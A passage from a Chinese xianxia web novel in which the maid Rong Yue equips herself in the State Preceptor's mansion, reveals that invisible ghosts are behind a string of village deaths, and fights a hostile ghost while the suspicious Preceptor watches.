怪不得外面的修士对国师府没有好感,这些东西都是宗门免费送来的,还免费用,谁高兴。
江阳玉:“大人让你管的案子不急,可以慢慢来。”
鬼魂他们看不到,就算抓了,也交不了任务,容月为难问:“江大人,国师大人都完不成的任务,我......”
“这......”江阳玉也为难,“要不你问问国师大人?目前为止,还没有国师大人解决不了的事,有可能大人已经有眉目......”
“护卫长。”门口进来一侍卫,对江阳玉行礼,“国师大人吩咐,容月的任务他对接,只要他点头,就算完成。”
“既然大人吩咐,我就不多说什么。”江阳玉微笑着,“我还有事,先告辞。”
容月双手放在腰间,颔首,轻声细语:“恭送大人。”
江阳玉出了楼,传话的侍卫追上他:“大人,刚才那位是谁?看不出修为。”
江阳玉斜他一眼:“活干完了?”
侍卫温吞着:“没......”
“没有还敢在这闲话国师大人的人?”江阳玉呵斥,“赶紧干活去。”
侍卫:“哦哦。”
江阳玉是国师府内最懂国师的人,可以说是一人之下多人之上,但遇到容月,他有点不明白国师了,明明有吩咐他派人监视,为什么又让她入国师府?
江阳玉摇头,不明白不明白。
镇楼,二楼。
管理二楼的人是个老人,修为也就练气中期,不怎么爱说话,只把容月能用的符纸指出来给她看,需要哪了告知他即可。
普通人用的符纸都是不需要灵力加持的,比如起火符,起水符等等一些简单的,像是容月用的隐息符,竟然要百两银子购买一张,更高的符纸需要金子。
最高等级符纸容月没有看到。
最终,她只能用的起最低的灵力符。灵力符是最容易制作,普通人也能用的东西。
到了三楼,是位婆婆,练气后期的修为,话比较多。
给容月推荐阵盘时,还会给容月建议。
“阵盘大多需要灵力维持,你一个没有修为的娃娃用阵盘很难。不过,这里有两用的,使用灵力是一种威力,不适用就是另外的作用。”婆婆在桌子上摆着五个,“简单的困阵,护阵,隐蔽,传送,最后这个是聚灵,你用不到。”拿走一个,“剩下的,你可以选择三个带走使用。”
容月选择困阵、护阵和传送。
婆婆:“我建议选隐蔽,传送阵盘要是拿不回来,你得赔。
容月立刻把阵盘换了。
“但你是普通人,要是跑不了的话,还是需要传送的。”
容月:“......不了,就这三个吧。”
婆婆热心肠:“你还不会用吧。”拿起一个阵盘,“看上面的阵纹,只要你相对转动一下,形成圆形,阵法自动开启。简单吧?”
容月认真点头,会的。
离开‘唠叨’的婆婆,到了四楼,看管的人看了她一眼,拿了一把木剑给她:“你只能用这个。”
木剑看不出材料,介绍说是辟邪的。
五楼,功法层。
功法只给入门的,容月没有检测资质,直接大包大揽,给了她所有入门功法:“适合哪个学哪个。”
容月:“那没用的呢?要还回来吗?”
“成堆的东西,无需归还。”看守人瞄了眼容月,“这些东西够你花费一年时间研究哪个适合自己,一年时间学习,至于入门......这么说吧,护卫长都要花费三年时间入门,你......
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”他摇摇头。
容月尴尬地笑咧咧嘴角,没有多说的离开。
边下楼梯,容月边把功法玉牌攥紧在手里,脑海里浮现功法:“嗯?这是,入门功法?”
对比绒绒给的功法,这里的功法简单的令人发指,好像是从哪个地方摘抄出来,随意组成的功法。
她挨个看了看,没学过的功法看的满头疑惑,想到国师府这些修士尽然学习这些功法入门,容月满脸敬佩:“就这么点文字,他们是怎么入门的?”
如果给完整入门法诀,那江阳玉的修为不是更高?
“呵。”与容月擦肩而过上楼的男子不屑道,“入门需要有人带领教学,自己琢磨怎么可能入门。”
原来是这样。
到了一楼,随意抓了人问:“任务完成后去哪里交?”
那人指指对面:“前面的院子就是交任务所,奖励兑换也在那。”
容月:“感谢。”
所有东西准备结束,容月没有耽搁,再次去了上午的农户家。
中午时分,农户家正吃着饭,容月不好打扰。
想要使用灵力把狗拴住,绒绒悄声说:‘小心,有人监视你。’
容月老实收回手。
徒手抓的话,她有点怕,问身边的鬼影:“你能否帮我把那只狗抓来?”连忙又加一句,“我帮你去鬼域。”反正她要带奶奶奶去,顺带一个没什么问题。
鬼影摇头。
“不行?”鬼去鬼域不是最好的选择吗?
绒绒:‘你怕狗?’想到什么它恍然大悟,‘你刚开始看到我,那么怕,不会是......’
容月不给它正眼,继续问黑影:“带你去看小翠和弟弟。”
鬼影继续摇头。
她不是为了家人留在这?
容月:“给你一次灵力润养。”怕她再摇头,继续道,“如果不行,我没有其他东西给你。”抬起手掌等着她。
鬼影桩子似的站了会,缓缓碰了下容月的手。
“我在屋后等你。”
容月蹲在茅草屋后,为了迷惑监视的人,专门拿出灵力府一张一张甩着玩。
不一会儿,就听到狗狗委屈巴拉的‘嗷呜嗷呜’声。
她勾着头,鬼影一只手拽着狗耳朵,提溜过来。
容月:“强悍。”
“姐姐?”小男孩的声音。
容月回头,农户家小儿子睁着大眼睛望着她:“你是今早来的姐姐。”他学着容月蹲着,好奇,“姐姐,你蹲在这里干什么?”
容月一时间不知道怎么回答。
“拉屎吗?”
容月:“咳咳咳,不是不是。”
小男孩歪头等她回答。
鬼影和狗靠近,狗的叫声变了,对着容月狂吼。
容月问小男孩:“你家以前是不是有只大狗?”
小男孩点头:“嗯,姐姐怎么知道?我家的大狗死了,被爷爷打死了,它咬死了家里的下蛋鸡。”委屈道,“我想狗狗。”
容月灵机一动:“那你想看看狗吗?”
“可以吗?”小男孩高兴,“我大姐说,狗狗死了是看不见的。”
容月:“试试。”
12. 第十二章
容月等着狗被带过来,对旁边蹲着的小孩说:“你先闭上眼睛。”
男孩闭上眼:“然后呢?”
容月对着他的眼睛施加灵力符,保持不散:“现在睁开。”
男孩睁开眼,疑惑着:“没有啊,姐姐。”
容月:“再闭上。”
男孩再闭上眼。
灵力符加多,容月特意吩咐:“如有不适,和我说。”
男孩:“好。”
“睁开。”
“姐姐,还是没有。”
来回几次,孩子有点急了:“姐姐,还要多久啊。”
容月义正言辞:“想要看到狗,哪那么容易,肯定要久一点。”
等容月耗费大半灵力符,让男孩睁开眼,男孩惊喜道:“看到......”一瞬他撇下嘴,“一下就没了。”
容月呼口气,有用:“最后一次,闭上眼。”
男孩闭上眼。
容月用灵力符时偷偷夹杂着自己的灵力,把灵力包裹其上,放在男孩眼前:“可以了。”
男孩睁开眼时,容月站起身,挡住鬼影。
男孩激动:“豆子!真的是豆子!”他跑过去,很开心地摸着狗头,“豆子,我好想你,豆子。没有你,都没人和我玩了。”
狗也激动的叫唤:“汪汪汪!”
一人一狗说了几句,水幕散去,男孩看不见狗,又虚空说:“豆子,大姐说,你死了不能留在这里,会被国师府抓走的。你快走吧,不要跟着我了。”
说完也不再看容月,抹了把脸,呜咽着跑走。
小主人离开,容月害怕后退,赶紧离开,反正她实验成功。
退了几本,看过主人的狗子,摇着尾巴对容月叫了声‘嗷呜,汪’,趴在地上,表示自己没威胁。
容月继续慢慢后退:“不要跑不要跑,它会追。”
退了一段距离,容月转身正常走几步,悄悄回头,狗子摇着尾巴跟在后面:“什么意思?”
侧头想让黑影帮忙,自己好像没有什么东西给她,给的东西又不要,不好交易。
和鬼怪做交易,必须等价交换,不能欠着,这是奶奶说的,容月很听话。
‘汪。’狗狗摇着尾巴过来嗅嗅容月的腿。
容月寒毛竖起,如果现在是动物状态,就是炸毛。
狗狗只是嗅嗅,老实地跟在她腿边。
容月凝眉:“你,要跟我走?”
‘汪’
竟然能听懂人话,害怕感降低不少。
容月:“你能否稍微离开点。”
狗狗‘汪’了一声,还是贴着她走。
容月无奈。
她被狗狗赖上了。
不过,可以利用这只狗,完成任务。
回到国师府,容月满脸带笑,提着裙摆,小跑着进国师大人的院子。
景离午膳刚用完,容月满手拿着符纸找到他:“大人,我找到了。”
景离慢条斯理接过下人递过来的丝巾擦手:“找到什么?”
“找到了作怪的东西。”容月双手捧着灵符纸,“之前一直问国师大人有没有看到过鬼魂,护卫长说,不会有鬼。我只是普通人,不知道你们修行者的弯弯绕绕,如果有查不到的东西,我就会往神怪方面想。”容月有凭有据,“想着,如果光眼睛看不到鬼怪,那在眼上加持灵力怎么样?”面带微笑垂眼看手里的符纸,“是以,我就把灵力符纸加持在眼睛上,一张不够就两张,一直加,最后,我看到了一只鬼狗。”
“鬼狗?”景离轻挥手,让下人把东西撤掉,“你过来。”
他带着容月到了院子里,相对而站,脸上的半面黑金面具下,薄唇轻启:“狗现在在哪?”
容月假意看看周身:“应该跟着来了吧,他小主人让它跟着我走。”小主人只让它走,约等于跟着容月走。
景离:“怎么做?”
容月把符纸从眼前划过,符纸消失,灵力加持在眼前:“像这样。”
景离抬手,施加灵力,在眼前划过,头微微转动:“没有。”
容月:“加大量。”
景离加大灵力,还是没有。
容月再让加大。
加到第五次的时候,景离终于看到容月脚边有只狗,且她身后还站着一只人形鬼,一眨眼的功夫,他就看不见了:“为什么你后面会有女鬼?”
“啊?!”容月‘惊慌失措’跑他后面,“哪里哪里?”手里符纸往眼前施展,“我怎么,看不到。”
景离瞥见手腕处纤细的手,他赶忙接着转身,躲开:“在你身后。”
容月胆怯又柔弱着双手相握腰间:“灵符没了......我也,不敢看。”惊恐问她,“鬼影会伤害我吗?”
景离看了她一眼,无言地往院里的小亭子走:“江阳玉。”
容月:“嗯?”
景离刚在亭子坐下,门口出现江阳玉的声音:“大人。”
容月惊异:“这么快?”
景离倒着茶:“容月,和他说。”
容月颔首:“是。”
容月大体和江阳玉讲了自己的发现过程,没有很详细,告知自己的辛苦发现外,也说了为什么自己不能抓,她是普通人。
江阳玉感概,还真是鬼所为。他和国师大人固定思维,认为鬼不会在都城,第一排除的就是鬼。
“鬼为什么我们看不到了?”江阳玉最在意的就是这个,“是否死时发生了什么?”
景离悠然放下茶杯:“不管是人还是动物,灵力加持在眼上就能看到,不是死的问题。去查。”
江阳玉:“是。”
景离:“把她的案子交给其他人,顺便看看她身边的鬼影。”
江阳玉看了眼容月:“是。”
容月:“等等。”郑重道,“大人,虽然我没有抓到主犯,但我提供最主要的线索,如果没有线索,要死更多人,还都是无头冤案。”
景离侧头。
“我的功劳起码占一半。”容月低了下头,抿了抿唇,抬起头道,“案件办结给贡献值,应当有我的一半,还得把我用的符纸免除。”
景离半响缓缓开口:“免除符纸,四分之一贡献值,帮你解决身后女鬼。”
容月脸色变了变,斜了眼身后,毅然摇头:“一半,免除符纸。”
“三分之一,免除符纸,不帮你解决身后女鬼。”
容月干脆利落:“成交。女鬼我自己解决,反正国师府有这么能人,总有人帮我,还免费。”
景离拿茶具的手顿在那。
江阳玉:“......”为什么感觉大人被坑了。
容月压着嘴角跟在江阳玉身后,到‘镇楼’前面的院子登记奖励。
“卷宗十份,每份因查不到线索提升到中档,十分贡献值,你......活得三十分贡献值。”江阳玉交给她令牌,“里面已经记录了贡献值,可以在这里兑换物品。”
容
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月恭敬接过:“多谢大人。”
“你是幸运的。”江阳玉羡慕,“一般中级十分的案子很少,五分的居多,还很难办,大多修士得一个月才能完成一件,你一下事件。不过,鬼魂还是好抓的,接案子的人应该也开心。”
容月微笑:“我也开心。”
拿到贡献值,容月立刻就去兑换东西。
换草药类容月看过,很划算,一积分可以选择五株,不过历婆婆给的药单上有几种贵的,一株要三积分。为了混淆监视人的视线,容月换了多种便宜的草药,咬咬牙,又多换了好几种贵的,一下子积分见底,只剩五积分。
“有种子吗?”容月问管理人。
管理人:“种子多了去了。”手一抚,种子类别出现在玉牌之上,“一积分可以兑换三十粒。”
“多少?!”容月瞪圆眼睛。
“都是基础种子,贵的种子只能在宗门长。”
容月平复:“哦。”
但这些种子都是容月需要的,制作回灵单、灵气但必备。
容月把剩下的五积分全部换成种子,一下子,她感觉自己富有了。
晚上。
服侍完国师,容月回到房间,拿出抽奖给的东西,圆圆的球。
“这个东西能变成另外一个我?”容月新奇转动,喃喃,“木傀儡”
绒绒:‘外面监视的人肯定发现不了,只要国师不会无缘无故来房间找你。’
容月皱眉:“有可能,他很空虚。之前一直不明白,他为什么让我做侍女,今天我知道了,除了我是陆无虞的未婚妻外,还能给他提供乐趣。”
绒绒:‘那怎么办?’
“不怎么办。”容月一捏圆球,球体滚落地上,逐渐变大,变成容月的模样,“发现就跑,历婆婆的药已经备齐。”
容月把傀儡按到床上,吹灭灯,自己悄悄从屋□□的洞出去。
黑夜掩盖身形,隐蔽玉佩掩盖气息,安全在国师府穿梭。
@
景离站在二楼望着月亮,听着后面江阳玉汇报,不时提问:“没有任何使用灵力痕迹?”
江阳玉:“没有。孩童也说了,他是让狗狗走的。监视的人汇报,容月是在消耗符纸。一切都正常。”
“今日兑换的东西有何异常?”
江阳玉:“都是一些简单的草药,搭配的话有好多种,养神、提起、治疗一些病症的、戒毒的等等,都可以。种子都是速成的种类,可以制作回灵丹、灵气丹等等,想要修行,这些必备。一般国师府的人也会兑换这些,除了修行,也可补贴家用。”
她难道真的没有修为?不是她?那就留着用在陆无虞身上。
“国师大人,属下有急事请见。”楼下一护卫道。
景离:“进。”
护卫上楼:“大人,那十份卷宗已经解决了九份,除了狗跟着容小姐,其他鬼魂已经在送往鬼域的路上。最后一只,抓不到。”
江阳玉不解:“为何?”
国师大人在容月提供的线索上做了简版,只要做两个小玻璃圆环,在圆环两边做槽,槽里放置小型灵力阵盘,就可以长时间看到鬼魂,不应该抓不到。
“那鬼魂战力惊人,还可以躲藏,装备支撑不了太久,换完阵盘她就跑了。”
景离回身:“江阳玉,明天让容月跟着我一起去。”
江阳玉:“是。”
他要试最后一次,在危机关头,容月总该用最后的手段。
13. 第十三章
一切不知的容月,从镯子里拿出包裹,背着靠近院子,按照历婆婆所说的,在花园边一处石坛上敲击三下,不一会儿,李从梦满脸红润,做贼似的开了门。
李从梦:“快进来。”
容月进了门,把东西放在地上,拽过李从梦的手查看:“你好了?”
“好了。”李从梦自豪着,“不仅好了,我还入门了。”
容月微笑着拍了下她的胳膊:“很棒。”
“诶,你可别嘲笑我。”李从梦帮她把包裹扛着,“你都练气初期,马上要突破中期了。”
“没办法。”容月一本正经,“我学得快。”
李从梦恼羞:“容望舒!”
容月挑眉抬手,握拳:“承让。”
“啊!”李从梦单手掐她脖子,“弄死你!”
容月抬脖子给她掐。
“咳咳咳咳。”历婆婆扶着门,脸色比之前惨白点,“容月回来了?”
容月和李从梦停止打闹,上前扶着她:“婆婆,我已经把所有药材找齐,今日就可以给你解毒。”
历婆婆让开她们,不让扶:“还没到走不了的时候,别把我当病患。”
这里没有专门熬药的东西,倒是有做饭的小锅,历婆婆已经让李从梦拿出来,放在小炉子上:“国师府的药材是最齐的,国师府都没有的药,宗门也不会有。”
药材本就是干净的,容月按照历婆婆给的单子,挨个放在盘子里:“婆婆,国师府为什么比宗门的东西还全?兑换的积分还少。”
“高级药材都收在国师大人的手里,你是兑换不动的。”历婆婆挨个查看药材,逐个放进锅里,“还好柳筠的毒不是很厉害,这些解毒药材足够。不过,要是你进不了国师府,我可能就......外面不一定买到。至于为什么......”婆婆盖上盖子,“你进过国师府的‘镇楼’了吧。”
没进过不可能拿积分换东西。
容月:“是。我做了国师的侍女,他让我帮助查案。”
李从梦来精神:“国师为什么让你做侍女,你们之间发生什么了?”
容月不自在得敷衍:“说来话长,以后告诉你。”
李从梦撅嘴。
“‘镇楼’,你说哪个好人会把楼叫‘镇’?”历婆婆说。
李从梦注意力被转移:“‘镇’?镇压?国师府地下有东西被镇压?”
“不,也有可能是镇住什么。”容月猜测。
婆婆为炉子扇风:“不管是‘镇’什么,联想宗门要免费给国师府送东西,必定国师府承担了什么。这些不是你们想的问题,宗门那些长老自会保护这里。”
李从梦耸耸肩,忽然看到窗外鸟飞过,她激动对容月说:“忘了和你说了,我哥要回来了,你不用费劲攒灵石。”
“李慕青什么时候回来!”容月也高兴,只要李家大哥回来,她救母亲和奶奶的成功率更高。
李从梦:“他给的信息是半个月前的,扣除鸟在路上的行程,应该半个月不到。”
“半个月不到。”容月自语,“那我得抓紧修炼。”练气初期一直卡着,只要回灵丹和灵气丹足够,就可以试着冲击中期。
刘小翠的速成草药因该会很快成熟,到时候,看能不能炼制丹药。
她问历婆婆:“婆婆,解毒完,你要带着梦梦离开这里吗?”
历婆婆:“国师府灵气虽然比外面高点,但人眼杂,梦梦好久没有吃饭,辟谷丹她暂时还受不了。”
李从梦摸摸胃,难受。
容月拿出小包裹交给李从梦:“你把这个交给小翠。”
容月:“我暂时走不了。现在离开,会引起国师怀疑,还要弄点灵石,以备不时之需。”
“什么?”李从梦拉开点缝看。
容月:“种子。看能不能让小翠种点。婆婆讲过丹药可以自己炼制,我想试试。”
历婆婆:“可以。”
三人聊天间,锅烧了很久,药熬得差不多了。
历婆婆喝了药,去旁边练功房排毒。
容月和李从梦相互靠着,在外面等。
“你哥回来是为什么?”容月问,“他长期在外找人,最短时常都是半年,这次怎么三个月就回了?”
李从梦靠在她肩头:“说是有线索。”
容月:“在都城?”
李从梦扣着手指:“不懂。”
容月拽过她的手,摸膜被她扣的地方:“这次回来,他会不会带你走?”
李从梦小声:“不知道。”
“你有我。”容月语气坚定,“不管去哪都带着你。”
李从梦嘿嘿笑:“知道。”
“如果你哥这次回来要带你走,你就跟着他走。”
“为什么?”李从梦坐直,抽回手,“你娘和奶奶还没救出来,你让我走?!你嫌弃我!”
容月按住她解释:“我那不是嫌弃,我是担心你。”
“哼。我哥回来,我一定强迫他留下来帮忙。”李从梦耍赖。
容月:“你哥也才练气中期。”
李从梦拽拽她袖子:“哎呦,他这个半路哥哥没有你重要。
容月满意极了:“行吧,同意带上他。”
练功房门打开,历婆婆清爽得从里面出来。
“婆婆,你好了?”李从梦蹦跳过去。
历婆婆摸摸她狗头,对容月说:“我好了,我们走吧。”
李从梦:“走。”
带着历婆婆和李从梦离开,安抚黏糊的李从梦后,回到住所,躺在床上,容月感觉心里放松一半。
有了李慕青加入,救人好办多了,现在只要准备好车,备点灵石,在救出母亲和奶奶后,直接离开这里,国师就算怀疑也并不知道她跑哪里。
绒绒:‘救出你母亲和奶奶后,打算带她们去哪?’
容月:“还能去哪?当然是鬼域。我娘和奶奶是普通人,要去投胎的。之后,就和梦梦一起,跟随她哥和历婆婆,去闯荡。”
看到床边的一人一狗黑影,她想起刘小翠:“我会带你去看一眼家人,然后带你和狗狗去鬼域,不用谢。”安心闭上眼,睡下。
她没看见,鬼影身上的黑气突然变浓,狗狗上前嗅嗅,忽然挡住床前,低吼:‘吼。’
容月转身朝里:“豆子,不要吵。”
狗狗不叫,老实地爬在床边看着黑影。
@
灰雾蒙蒙,四周空空荡荡。
一条纱幔眼前飘过,容月轻轻握住,纱幔垂落,绕在她手上:“好熟悉的触感。”
“你当然熟悉。”景离的声音出现身后,“这是‘那天’的纱幔。”
纱幔顺着手落地,容月尴尬地手都不知道怎放:“大人说的‘那天’是什么意思,我不是很明白。”
“哦?”景离贴进她,修长有力的手指抬起她下巴,盯着她眼睛,“要不要我给你回忆回忆?”
迷蒙的脸看不清,只有一双带着情欲的眼睛清晰地映入容月的眼睛:“倒也不必。”
“呜呜”一只大手掐住她的脖子。
国师的眼睛还是那双带着情欲的眼睛,但话却狠毒:“谁让你假扮‘雅儿’?嗯?你配吗?”
容月艰难扒着他的手,嘴里挤出几个字:“放开......我没有。”
呼吸越来越困难,容月颤微着抬起手,使用灵力戳中那双眼睛。
力道消失,容月从梦中醒来,双手捂着脖子急促喘息:“呼呼呼!”
‘汪汪汪。’
豆子把小翠母亲逼到房门前,对着她叫唤,听到容月醒来的声音,摇着尾巴回来谄媚容月。
容月摸摸它:“好了,知道你被她抓过,那是你犯错误了,安静。”
狗狗:“汪。”趴在床边。
容月呼出一口气,太可怕的梦,千万不能成真。
天色渐亮。
容月提摆进国师房门,国师大人正好从里面出来:“走。”
容月迟钝会儿,跟上:“好。”
国师府门前早有侍卫把马车准备好:“大人。”
景离上了马车,容月很自然地跟着,被侍卫拦着:“你是侍女,坐外面。”
容月点头:“哦哦。”
侍卫驾着车,一路疾驰,一个时辰后,官道上寥寥几辆马车擦过,被甩在后面。
“这马车好快。”容月感慨。
侍卫:“当然快。这是用灵气加持的车,马是感觉不到自己拉着东西,马跑多块,它就多快。”
原来这就是灵力车。
到了岔路口,车上了小路,缓缓停在一处村落。
侍卫:“到了,大人。”
容月下来,景离紧随其后。
景离吩咐侍卫:“你在等。”
侍卫:“是。”
进入村落,容月明显感觉,这个村子像是空的,烟火气都没有:“大人,我们来这是......”
景离没说话。
村子两边是泥房,中间的路还听板正。
一直走,路的尽头有间房子,看着像村长家。
景离敲门。
里面没人回应。
景离:“国师府来查案。”
半响,一个老头打开缝,看到景离和容月,小声说:“之前我都告诉官爷了,没有什么可说的了。”
景离:“别怕......”
“啊。”身后的容月一声急促叫声,打断他的话。
吓得老头‘嘭’地关上门。
景离转头,容月被什么东西拽着跑远。
容月喊着:“大人,救命!”
景离甩袖,慢慢跟上。
容月双手扒着脖子,狗狗追着狂吠,想咬住容月的衣服,咬不到。
刘小翠她娘也跟着,但她就是跟着,没什么动作。
容月:“你能不能攻击她,我给你找个好人家投胎这么样?”
勒着她脖子的黑影尖锐地笑了:“哈哈哈哈,投胎?就她?”
容月被她的笑声激起一阵鸡皮疙瘩:“你笑什么?”
“笑你说的笑话。”黑影加速,甩开狗和刘小翠母亲,带着她到了一片树林停下,把她扔到树下,“应该够远了。”
容月‘颤微’后退:“我是国师府的人,刚刚那个是国师,他马上就能找到我。”
黑影浑身上下全黑,连脸都是黑的。刘小翠的母亲起码只是身上黑,脸和手都是白的。
黑影尖尖的嗓音:“你说他是国师?那我怎么敢出来的?根本没修为。”
景离掩盖了修为!
刘小翠母亲追上来,挡在容月面前。
黑鬼影嘲讽:“怎么,凭你打过我?人话都还不会说。”
容月悄悄后移。
刘小翠母亲喉咙里呼噜着:“赫赫。”
“怎么就是你的。”黑鬼贴进小翠母亲,“之前遇到你的时候,你不是找的你闺女吗?”
什么意思?
小翠母亲:“赫赫赫,赫赫赫。”
她好像说了很长的话。
黑鬼:“诶?话不是这么说的,规矩是规矩,但也不能毫无时限的给你,你没成功抢到身体,现在当然到我了。你眼光不错,找到这么好身体。”
小翠的母亲不是好鬼!
小翠母亲接着说:“赫赫......”
“就你那梦......”
容月转身往来的方向跑:“大人,我在这!”
黑鬼影不耐烦,把她掀翻:“滚开,给你脸了。人都差点跑了!”
黑影朝着容月奔来,狗狗啊呜一口,咬住他。
黑鬼影咬牙:“死狗!死了都不安生。”
容月边跑边回头,看到狗子要被抓,她高喊:“豆子,过来。”
狗子松开嘴,灵活躲开黑鬼。
黑鬼朝着容月背后一吸:“想走?”
容月被一阵吸力往后拉,她习惯性要用灵力,想到国师不可能这么长时间没到,很可能在哪里监视,她放下手,扔起拖走。
看来,这次要靠纯武力。
狗狗还拽着容月的衣服,不让她被拉走。
身体向后拉,等快靠近,容月从腿上抽出一把木剑,单手撑地反转,另一只手持剑,划过黑影,黑影松手后腿:“小丫头,留了一手。”
木剑是当时没用到过,忘记交回去。
狗狗要去咬黑影,容月喊着:“豆子,回来。跟好我。”狗子根本不是对手。
黑鬼甩出双手,变长,甩动,像鞭子一样。
容月连续翻滚,后撤,不恋战:“走。”
黑鬼升起鬼雾墙,容月穿过去,又换到原来的地方:“鬼打墙?”
灵力可以完美解决,可现在只能用剑。
容月甩剑,划开黑雾,身后的鬼抓抓住她的衣领,拎起,撞树。
“唔。”容月身体撞到树上,没有灵力护着,实打实的疼。
剑背插,戳都鬼手,鬼手松开。
容月就地一滚,向外跑。
鬼手变成鞭子,卷住她一条腿,快速拽,升高,摔向地面。
“噗”容月一口起吐出来。
再次被拽起,容月弯腰倒挂,斩断一节手。
“啊!”鬼影缩回受伤的手,慢慢长出来,用另一只手甩过去。
容月躲过后,想继续跑,顿
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住。
跑去哪?哪里有人救她?国师不来,明摆着就是要她露馅。
她不能露馅,不能让国师知道她假扮了他的‘白月光’,不然就如梦境里一样,被杀。
容月提着剑,擦着嘴角的血迹,回身轻蔑地看着黑鬼,以及站在旁边一直没有动作的小翠母亲。
黑鬼:“怎么,不跑了?”
“既然你这么想玩,我就大发慈悲,和你比划比划。”容月咳嗽一声,带出点血。
黑鬼开心大笑:“你一个普通人,想跟我玩?好!”
容月四周升起黑雾,光线渐渐变暗,只留一束光在她和黑鬼中间。
空间传来声音:“你愿意与我对决吗?用你身体做赌注。”
容月:“不赌。”
黑鬼:“......”
容月抬剑,直指黑鬼:“用你的魂赌,输了,你魂飞魄散,赢了,你魄散魂飞。”
黑鬼怒了:“臭丫头。”
黑鬼裂开,幻化出多个鬼影:“本想给你留个魂......”
容月:“但我不想给你留魄。”
从外面看,黑雾罩住容月,好似一个蛋,密不透风。
狗和小翠母亲都在外面。
不远处一颗大树顶端,景离脸上一只眼带着圆圆镜片,观看状况。
容月没有使用灵力,就连受伤都没有用,景离内心的怀疑开始减弱。
等容月被罩住,景离有片刻紧张,被他压下:“为什么我会紧张。”他要再等等。
里面的容月,运用历婆婆和李慕青教导的体术,还有绒绒给的简易剑术,闪躲速度快,还斩杀好几个黑影。
她身上也挂了很多彩,衣服划破带血迹,身体没有灵力洗刷,有点累。
“呼。”容月肌肉记忆甩剑,割断一只鬼影,被另一只鬼影打一拳,飞出去,“咳咳。”
起身,下腰躲开攻击,被缠住腰,甩出去,地上一尖尖的、粗壮的树枝穿透她的胳膊:“唔。”
血低落,被黑影接过:“美味啊。”
容月单手转剑,反手后刺,又一鬼影消失。
就只剩下主体黑鬼:“还停能打。那就看看,你能不能躲开我的木刺。”
黑蛋的外面,大量的树枝断裂,无形地被削成尖尖的头,对准黑蛋里面。
景离看到此景,飞身下来。
狗狗一直爬在外面,盯着黑蛋,景离来也不关注。
小翠母亲微微往树后躲。
景离:“再等等,再等等。”
木刺越来越多,里面的容月被黑鬼骚扰,消耗体力,黑鬼外围的黑气也在变少。
等外面都密密麻麻了,变小的黑鬼停住,双手举国头顶,声音带着激动:“你给我去死吧!”
容月还傻傻地喘着气看它,就听到‘唰唰唰’破空的声音,四面八方全是木刺。
容月面色一沉,提着木剑挡,朝着黑影跑。
她明白了,这些木头是黑鬼做的,它变小就是变弱了,不能错过这次机会。
容月紧盯黑鬼,没有特别留意木刺,擦伤是小事,很多木头直接扎到肉里:“啊。”
容月继续盯着黑影,只要没有击中要害,不阻碍她攻击,她不管。
“噗呲。”木刺穿过左手手掌,手行密密麻麻。
“噗呲。”双腿都是刺。
木刺越来越多刺穿她身体,血越流越多,浸湿衣衫。
终于,在黑影享受容月被虐而忽视距离时,容月瞬间反扑,咬着牙,用尽全身力气攻击。
黑影闪躲不急,被她追着砍,胸口不留神被刺穿,更多起散去,
“啊啊啊啊!”黑影胡乱抓着黑气,想把它们放进身体,却放不进去。
黑影慌了,感受身体的飞散,它怒了:“我死也要拉你垫背!”
景离感受黑蛋气息不对,好像要爆开。
双手施法,化解黑蛋,指剑黑鬼,灵力闪电般击中它。
黑鬼都没来得及叫喊,就消失在空气中。
满身刺的容月,滴着血,无神地望着景离。手里的木剑断了一节头,衣服只比布条好点,头发上还有木条,就这样的她,只有一只手能动的情况下,还给景离行礼:“大人,我算是完成任务了吗?”
景离又感受到那股熟悉感,很熟悉很熟悉,这次能引起他心跳。
第一次见容月时,熟悉感只一闪而过,第二次被吓到撞他时,也一样。
第一次见面,虽然没有看到她的脸,但可以察觉她的紧张的;第二次被吓的那次也是紧张;这次,她作战的时候,精神也是高度紧张。
现在她不再紧张,熟悉感消失。
此刻,就算她是‘那个’人,景离也不想杀她。
容月拖着像是残废的身体往前景离方向挪:“我记得,这个任务,是一个,村子里,这段时间,无缘无故,死人......唔!”
容月身体突然紧绷,双手攥紧,脖子上的筋暴起,眼睛紧闭。
景离刚才出神,没有注意,等容月满脸痛苦,他才发现,容月的身后有一团黑气,狗低声呜咽,在咬着什么,往外拽。
他手指架着符纸,朝着容月打过去,黑雾被打出体外,随后一道雷击,打在容月身后。
雷击刺穿小翠母亲身体,‘啊啊!!’在她痛苦的叫声中,消散于天地。
容月彻底脱力,跪在地上,粗喘气。
‘汪汪汪。’狗狗穿过她的胳膊,让她靠在身上,‘汪汪汪’。
容月顺着力道坐在地上:“还好,有你帮忙。也多谢,国师大人。”
‘汪汪汪。’
景离踏一步上前:“你......”
“请国师大人,稍等,片刻。”容坐虚弱坐地上,用没有受伤的手,把腿上的木刺,一根,一根,扒下来,提着长裙,咬牙撕开长条,绕着腿缠起来,少出血。
受伤胳膊上的刺拔完,景离又上前一步:“我......”他想帮忙。
容月打断他:“国师大人,请,再等,一下。”没有犹豫,把最大一根拔出来,她一声没吭,继续撕着布条,缠绕。
没有受伤的胳膊上也带有几根刺,她用嘴咬,咬不到就让豆子帮忙:“好狗狗。”
‘汪汪汪。’狗狗摇尾巴。
一切收拾好,容月扶着树,颤颤巍巍起身:“国师大人,可以走了。”
景离注视她一会儿,说道:“包扎得不错。”
容月拖着腿,客气笑:“从小到大,包扎习惯了。”
她单手放腰间,不标准的颔首:“国师大人,任务已经完成,我们回吧。”
景离:“......好。”
11. 第十一章
类似农户家牲畜突然死亡事件很多,甚至还有人莫名其妙死掉,周围毫无痕迹,找不到罪犯。
看完这些奏本,景离起身,吩咐护卫长:“带她去登记,把这些,交给她。”背着双手离开,“我去练功。”
望着国师远去背影,容月语气怯怯:“护卫长大人,国师大人是什么意思?”
护卫长怜悯地望向她:“大人练功的时候,你做任务,回来后,再服侍大人。”
容月稳稳按住嘴角,千万不要上翘,导致护卫长以为她敢怒不敢言。
护卫长客气道:“以后共事,不用叫我护卫长,叫我江阳玉。”
容月双手放在腰间,郑重行礼:“江大人。”满脸担忧,“我只是普通人,如何办理这些事?”
“不用担心。”江阳玉示意容月跟他走,“国师府的修士没有你想象的那么多,一半都是没有修为,或者是刚入门,修为低的可怜。”
容月‘不安’的绞手:“那,怎么办差?”
“国师府有一阁,里面都是大宗门弟子炼制的符纸、阵法、法器等等各式各样,就算没有修为之人都有可用的物件。”江阳玉轻声说,“你加入国师府,还可修行。”
容月激动:“真的吗?原来,国师府这么好?”
“你不要看国师大人好像冷漠、不近人情,其实他很热心,我们这些属下有点难言之隐找国师大人,他一般都不会为难我们,只要不是大错,不会有处罚。”江阳玉满脸感激之情。
